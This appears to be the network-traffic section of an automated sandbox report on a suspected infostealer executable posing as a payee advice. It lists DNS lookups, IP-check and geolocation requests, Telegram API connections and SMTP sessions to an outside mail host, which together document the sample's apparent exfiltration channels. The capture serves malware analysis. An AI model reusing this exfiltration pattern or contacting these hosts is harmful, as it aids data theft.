Nov 16, 2024 16:51:28.029416084 CET	51081	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:28.631546021 CET	443	51082	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:28.633563995 CET	51082	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:28.633608103 CET	443	51082	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:28.771872997 CET	443	51082	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:28.772051096 CET	443	51082	188.114.97.3	192.168.2.5
Nov 16, 2024 16:51:28.772356987 CET	51082	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:28.772748947 CET	51082	443	192.168.2.5	188.114.97.3
Nov 16, 2024 16:51:28.820822954 CET	51081	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:28.826132059 CET	80	51081	158.101.44.242	192.168.2.5
Nov 16, 2024 16:51:28.826201916 CET	51081	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:28.829417944 CET	51083	443	192.168.2.5	149.154.167.220
Nov 16, 2024 16:51:28.829456091 CET	443	51083	149.154.167.220	192.168.2.5
Nov 16, 2024 16:51:28.829524040 CET	51083	443	192.168.2.5	149.154.167.220
Nov 16, 2024 16:51:28.830085993 CET	51083	443	192.168.2.5	149.154.167.220
Nov 16, 2024 16:51:28.830101967 CET	443	51083	149.154.167.220	192.168.2.5
Nov 16, 2024 16:51:29.674854040 CET	443	51083	149.154.167.220	192.168.2.5
Nov 16, 2024 16:51:29.674978018 CET	51083	443	192.168.2.5	149.154.167.220
Nov 16, 2024 16:51:29.677550077 CET	51083	443	192.168.2.5	149.154.167.220
Nov 16, 2024 16:51:29.677558899 CET	443	51083	149.154.167.220	192.168.2.5
Nov 16, 2024 16:51:29.677959919 CET	443	51083	149.154.167.220	192.168.2.5
Nov 16, 2024 16:51:29.679718971 CET	51083	443	192.168.2.5	149.154.167.220
Nov 16, 2024 16:51:29.727328062 CET	443	51083	149.154.167.220	192.168.2.5
Nov 16, 2024 16:51:29.920450926 CET	443	51083	149.154.167.220	192.168.2.5
Nov 16, 2024 16:51:29.920594931 CET	443	51083	149.154.167.220	192.168.2.5
Nov 16, 2024 16:51:29.920677900 CET	51083	443	192.168.2.5	149.154.167.220
Nov 16, 2024 16:51:29.924747944 CET	51083	443	192.168.2.5	149.154.167.220
Nov 16, 2024 16:51:35.588854074 CET	51069	80	192.168.2.5	158.101.44.242
Nov 16, 2024 16:51:35.905664921 CET	51084	587	192.168.2.5	37.27.123.72
Nov 16, 2024 16:51:35.910789967 CET	587	51084	37.27.123.72	192.168.2.5
Nov 16, 2024 16:51:35.913348913 CET	51084	587	192.168.2.5	37.27.123.72
Nov 16, 2024 16:51:36.903776884 CET	587	51084	37.27.123.72	192.168.2.5
Nov 16, 2024 16:51:36.904170990 CET	51084	587	192.168.2.5	37.27.123.72
Nov 16, 2024 16:51:36.909475088 CET	587	51084	37.27.123.72	192.168.2.5
Nov 16, 2024 16:51:37.156805038 CET	587	51084	37.27.123.72	192.168.2.5
Nov 16, 2024 16:51:37.158248901 CET	51084	587	192.168.2.5	37.27.123.72
Nov 16, 2024 16:51:37.163191080 CET	587	51084	37.27.123.72	192.168.2.5
Nov 16, 2024 16:51:37.410407066 CET	587	51084	37.27.123.72	192.168.2.5
Nov 16, 2024 16:51:37.411195993 CET	51084	587	192.168.2.5	37.27.123.72
Nov 16, 2024 16:51:37.416707039 CET	587	51084	37.27.123.72	192.168.2.5
Nov 16, 2024 16:51:37.711673975 CET	587	51084	37.27.123.72	192.168.2.5
Nov 16, 2024 16:51:37.712052107 CET	51084	587	192.168.2.5	37.27.123.72
Nov 16, 2024 16:51:37.717178106 CET	587	51084	37.27.123.72	192.168.2.5
Nov 16, 2024 16:51:37.964631081 CET	587	51084	37.27.123.72	192.168.2.5
Nov 16, 2024 16:51:37.965051889 CET	51084	587	192.168.2.5	37.27.123.72
Nov 16, 2024 16:51:37.970184088 CET	587	51084	37.27.123.72	192.168.2.5
Nov 16, 2024 16:51:38.233315945 CET	587	51084	37.27.123.72	192.168.2.5
Nov 16, 2024 16:51:38.233643055 CET	51084	587	192.168.2.5	37.27.123.72
Nov 16, 2024 16:51:38.239176035 CET	587	51084	37.27.123.72	192.168.2.5
Nov 16, 2024 16:51:38.486479998 CET	587	51084	37.27.123.72	192.168.2.5
Nov 16, 2024 16:51:38.487504959 CET	51084	587	192.168.2.5	37.27.123.72
Nov 16, 2024 16:51:38.487504959 CET	51084	587	192.168.2.5	37.27.123.72
Nov 16, 2024 16:51:38.487561941 CET	51084	587	192.168.2.5	37.27.123.72
Nov 16, 2024 16:51:38.487586021 CET	51084	587	192.168.2.5	37.27.123.72
Nov 16, 2024 16:51:38.487607956 CET	51084	587	192.168.2.5	37.27.123.72
Nov 16, 2024 16:51:38.492645979 CET	587	51084	37.27.123.72	192.168.2.5
Nov 16, 2024 16:51:38.492669106 CET	587	51084	37.27.123.72	192.168.2.5
Nov 16, 2024 16:51:38.492685080 CET	587	51084	37.27.123.72	192.168.2.5
Nov 16, 2024 16:51:38.492758036 CET	587	51084	37.27.123.72	192.168.2.5
Nov 16, 2024 16:51:38.492770910 CET	587	51084	37.27.123.72	192.168.2.5
Nov 16, 2024 16:51:39.065809011 CET	587	51084	37.27.123.72	192.168.2.5
Nov 16, 2024 16:51:39.123308897 CET	51084	587	192.168.2.5	37.27.123.72

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 16, 2024 16:50:23.364720106 CET	53	55057	1.1.1.1	192.168.2.5
Nov 16, 2024 16:51:11.033442974 CET	54827	53	192.168.2.5	1.1.1.1
Nov 16, 2024 16:51:12.194088936 CET	52531	53	192.168.2.5	1.1.1.1
Nov 16, 2024 16:51:15.169121027 CET	52844	53	192.168.2.5	1.1.1.1
Nov 16, 2024 16:51:15.177113056 CET	53	52844	1.1.1.1	192.168.2.5
Nov 16, 2024 16:51:16.302436113 CET	56601	53	192.168.2.5	1.1.1.1
Nov 16, 2024 16:51:16.310199976 CET	53	56601	1.1.1.1	192.168.2.5
Nov 16, 2024 16:51:28.821724892 CET	49855	53	192.168.2.5	1.1.1.1
Nov 16, 2024 16:51:28.828788042 CET	53	49855	1.1.1.1	192.168.2.5
Nov 16, 2024 16:51:35.828573942 CET	65409	53	192.168.2.5	1.1.1.1
Nov 16, 2024 16:51:35.903033972 CET	53	65409	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 16, 2024 16:51:11.033442974 CET	192.168.2.5	1.1.1.1	0x859e	Standard query (0)	api.onedrive.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 16:51:12.194088936 CET	192.168.2.5	1.1.1.1	0x2e0b	Standard query (0)	fa3hwa.dm.files.1drv.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 16:51:15.169121027 CET	192.168.2.5	1.1.1.1	0xe7b7	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Nov 16, 2024 16:51:16.302436113 CET	192.168.2.5	1.1.1.1	0x5542	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Nov 16, 2024 16:51:28.821724892 CET	192.168.2.5	1.1.1.1	0x945	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Nov 16, 2024 16:51:35.828573942 CET	192.168.2.5	1.1.1.1	0x4afd	Standard query (0)	mail.foodex.com.pk	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 16, 2024 16:51:11.043751001 CET	1.1.1.1	192.168.2.5	0x859e	No error (0)	api.onedrive.com	common-afdrk.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 16:51:11.043751001 CET	1.1.1.1	192.168.2.5	0x859e	No error (0)	common-afdrk.fe.1drv.com	odc-commonafdrk-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 16:51:12.259488106 CET	1.1.1.1	192.168.2.5	0x2e0b	No error (0)	fa3hwa.dm.files.1drv.com	dm-files.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 16:51:12.259488106 CET	1.1.1.1	192.168.2.5	0x2e0b	No error (0)	dm-files.fe.1drv.com	odc-dm-files-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 16:51:15.177113056 CET	1.1.1.1	192.168.2.5	0xe7b7	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 16:51:15.177113056 CET	1.1.1.1	192.168.2.5	0xe7b7	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Nov 16, 2024 16:51:15.177113056 CET	1.1.1.1	192.168.2.5	0xe7b7	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Nov 16, 2024 16:51:15.177113056 CET	1.1.1.1	192.168.2.5	0xe7b7	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Nov 16, 2024 16:51:15.177113056 CET	1.1.1.1	192.168.2.5	0xe7b7	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Nov 16, 2024 16:51:15.177113056 CET	1.1.1.1	192.168.2.5	0xe7b7	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Nov 16, 2024 16:51:16.310199976 CET	1.1.1.1	192.168.2.5	0x5542	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 16:51:16.310199976 CET	1.1.1.1	192.168.2.5	0x5542	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 16, 2024 16:51:28.828788042 CET	1.1.1.1	192.168.2.5	0x945	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Nov 16, 2024 16:51:35.903033972 CET	1.1.1.1	192.168.2.5	0x4afd	No error (0)	mail.foodex.com.pk	foodex.com.pk		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 16:51:35.903033972 CET	1.1.1.1	192.168.2.5	0x4afd	No error (0)	foodex.com.pk		37.27.123.72	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	51066	158.101.44.242	80	6256	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 16:51:15.186537027 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 16, 2024 16:51:15.831510067 CET	323	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 15:51:15 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2b604c40664c745ad194bba0d4b5b3ec Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.69</body></html>
Nov 16, 2024 16:51:15.835869074 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 16, 2024 16:51:15.983059883 CET	323	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 15:51:15 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 174cf367da2a4c55542b2ccd1c8cfa90 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.69</body></html>
Nov 16, 2024 16:51:17.133250952 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 16, 2024 16:51:17.281337023 CET	323	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 15:51:17 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d301abba013a445b9d6bd843b897bf08 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.69</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	51069	158.101.44.242	80	6256	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 16:51:18.046087027 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 16, 2024 16:51:18.684346914 CET	323	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 15:51:18 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a8f33eaee868a84cefbd72596201a3f7 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.69</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	51071	158.101.44.242	80	6256	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 16:51:19.470623016 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 16, 2024 16:51:20.201165915 CET	323	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 15:51:20 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 82f7aba3642fe839f8bc4af2bba48e80 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.69</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	51073	158.101.44.242	80	6256	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 16:51:20.965598106 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 16, 2024 16:51:21.615936041 CET	323	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 15:51:21 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8b406d12e9326df02f3d7d8c29e86cdb Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.69</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	51075	158.101.44.242	80	6256	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 16:51:22.802042961 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 16, 2024 16:51:23.446093082 CET	323	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 15:51:23 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9bf3fa78514816169e5f06ec53445089 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.69</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	51077	158.101.44.242	80	6256	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 16:51:24.217120886 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 16, 2024 16:51:25.112025976 CET	323	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 15:51:25 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b3aa7b985787a2ce3c85a1043d1c4c12 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.69</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	51079	158.101.44.242	80	6256	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 16:51:25.883302927 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 16, 2024 16:51:26.523466110 CET	323	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 15:51:26 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 53b6cc8c61e6d06e8300b0101e89a3cf Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.69</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	51081	158.101.44.242	80	6256	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 16:51:27.337636948 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 16, 2024 16:51:27.984122038 CET	323	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 15:51:27 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 3f68b1d69ef8e3f73810cacf3b1dd0b5 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.69</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	51067	188.114.97.3	443	6256	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 15:51:16 UTC	87	OUT	GET /xml/173.254.250.69 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-16 15:51:17 UTC	854	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 15:51:17 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 24550 Last-Modified: Sat, 16 Nov 2024 09:02:07 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1dF0BCJsBobdOBYryLWqMAFWWOJLeVDZ9iKVhTUTOG1Eik%2F7NEZKGD%2FoKAiWIt7%2BXBN0W2wwHoW6msdbqhDVg0zIq4smExBQLdcbgFb3s%2Bl59deS16uGBWdieU3PTAYE12z%2B7DEg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e38a43b4ebc45ee-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1070&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2581105&cwnd=237&unsent_bytes=0&cid=e3bf705474e827fb&ts=203&x=0"
2024-11-16 15:51:17 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.69</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	51068	188.114.97.3	443	6256	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 15:51:17 UTC	63	OUT	GET /xml/173.254.250.69 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-16 15:51:18 UTC	854	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 15:51:17 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 24550 Last-Modified: Sat, 16 Nov 2024 09:02:07 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YgTbh9mPo%2FYw43BN4oWCrh3QbOHQ%2FwGtmjp0uXFLQN8gWZhQoR%2B%2FktKUbn74sHINi0tPCsSlh0qQF3pA1bzi0E9Bwb2Xn1IgiWHbOPNdBlp6l%2BG8Uf63RaqtCZmRWikkiXxvsfdv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e38a441382c2cca-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1162&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2403319&cwnd=251&unsent_bytes=0&cid=f464a0ed1b8ef21c&ts=150&x=0"
2024-11-16 15:51:18 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.69</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

